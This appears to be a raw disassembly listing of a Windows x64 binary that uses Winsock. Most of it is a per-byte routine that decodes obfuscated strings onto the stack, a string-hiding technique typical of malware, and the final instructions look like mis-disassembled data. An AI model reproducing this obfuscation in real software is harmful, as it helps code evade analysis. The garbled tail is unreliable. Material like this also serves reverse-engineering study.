mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rbx
mov dl, 0x61
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x732], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
lea r8d, [r9 - 4]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x733], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, r12
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x734], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x735], al
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, WSAStartup
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + 0x736], al
xor eax, eax
mov byte [rbp + 0x737], al
mov r15d, eax
lea r13d, [rax + 1]
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, r15
mov dl, byte [rbp + r15 + 0x721]
lea rcx, [rbp + 0x720]
call fcn.14002cca8
mov byte [rbp + r15 + 0x721], al
add r15, r13
cmp r15, 0x16
jb 0x14000fc75
xor eax, eax
mov byte [rbp + 0x737], al
mov byte [rbp + 0xc50], 0x5a
mov r15d, 0x83
mov r9d, r15d
xor r8d, r8d
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc51], al
mov r9d, r15d
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc52], al
mov r9d, r15d
mov r8d, 2
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc53], al
mov r9d, r15d
lea r8d, [r15 - 0x80]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc54], al
mov r9d, r15d
lea r8d, [r15 - 0x7f]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc55], al
mov r9d, r15d
lea r8d, [r15 - 0x7e]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc56], al
mov r9d, r15d
lea r8d, [r15 - 0x7d]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc57], al
mov r9d, r15d
lea r8d, [r15 - 0x7c]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc58], al
mov r9d, r15d
lea r8d, [r15 - 0x7b]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc59], al
mov r9d, r15d
lea r8d, [r15 - 0x7a]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc5a], al
mov r9d, r15d
lea r8d, [r15 - 0x79]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc5b], al
mov r9d, r15d
lea r8d, [r15 - 0x78]
mov dl, 0x54
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc5c], al
mov r9d, r15d
lea r8d, [r15 - 0x77]
mov dl, 0x68
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc5d], al
mov r9d, r15d
lea r8d, [r15 - 0x76]
mov dl, 0x69
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc5e], al
mov r9d, r15d
lea r8d, [r15 - 0x75]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc5f], al
mov r9d, r15d
lea r8d, [r15 - 0x74]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc60], al
mov r9d, r15d
lea r8d, [r15 - 0x73]
mov dl, 0x76
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc61], al
mov r13d, r15d
mov r9d, r15d
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc62], al
mov r9d, r15d
lea r8d, [r15 - 0x71]
mov dl, WSAStartup
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc63], al
mov r9d, r15d
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc64], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x69
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc65], al
mov r9d, r15d
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc66], al
mov r9d, r15d
lea r8d, [r15 - 0x6d]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc67], al
mov r9d, r15d
lea r15d, [r9 - 0x6c]
mov r8d, r15d
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc68], al
mov r9d, r13d
lea r8d, [r13 - 0x6b]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc69], al
mov r9d, r13d
lea r8d, [r13 - 0x6a]
mov dl, 0x66
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc6a], al
mov r9d, r13d
lea r8d, [r13 - 0x69]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc6b], al
mov r9d, r13d
lea r8d, [r13 - 0x68]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc6c], al
mov r9d, r13d
lea r8d, [r13 - 0x67]
mov dl, 0x68
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc6d], al
mov r9d, r13d
lea r8d, [r13 - 0x66]
mov dl, 0x65
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc6e], al
mov r9d, r13d
lea r8d, [r13 - 0x65]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc6f], al
mov r9d, r13d
lea r8d, [r13 - 0x64]
mov dl, 0x62
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc70], al
mov r9d, r13d
mov r8, r14
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc71], al
mov r9d, r13d
lea r8d, [r13 - 0x62]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc72], al
mov r9d, r13d
lea r8d, [r13 - 0x61]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc73], al
mov r9d, r13d
lea r8d, [r13 - 0x60]
mov dl, r14b
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc74], al
mov r9d, r13d
lea r8d, [r13 - 0x5f]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc75], al
mov r9d, r13d
lea r8d, [r13 - 0x5e]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc76], al
mov r9d, r13d
lea r8d, [r13 - 0x5d]
mov dl, WSAStartup
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc77], al
mov r9d, r13d
lea r8d, [r13 - 0x5c]
mov dl, 0x61
lea rcx, [rbp + 0xc50]
call fcn.14002cd20
mov byte [rbp + 0xc78], al
add byte [rbp - 0x75], al
int 0x45
lea eax, [rbp - 0x5b]
mov edx, 0xe393fb62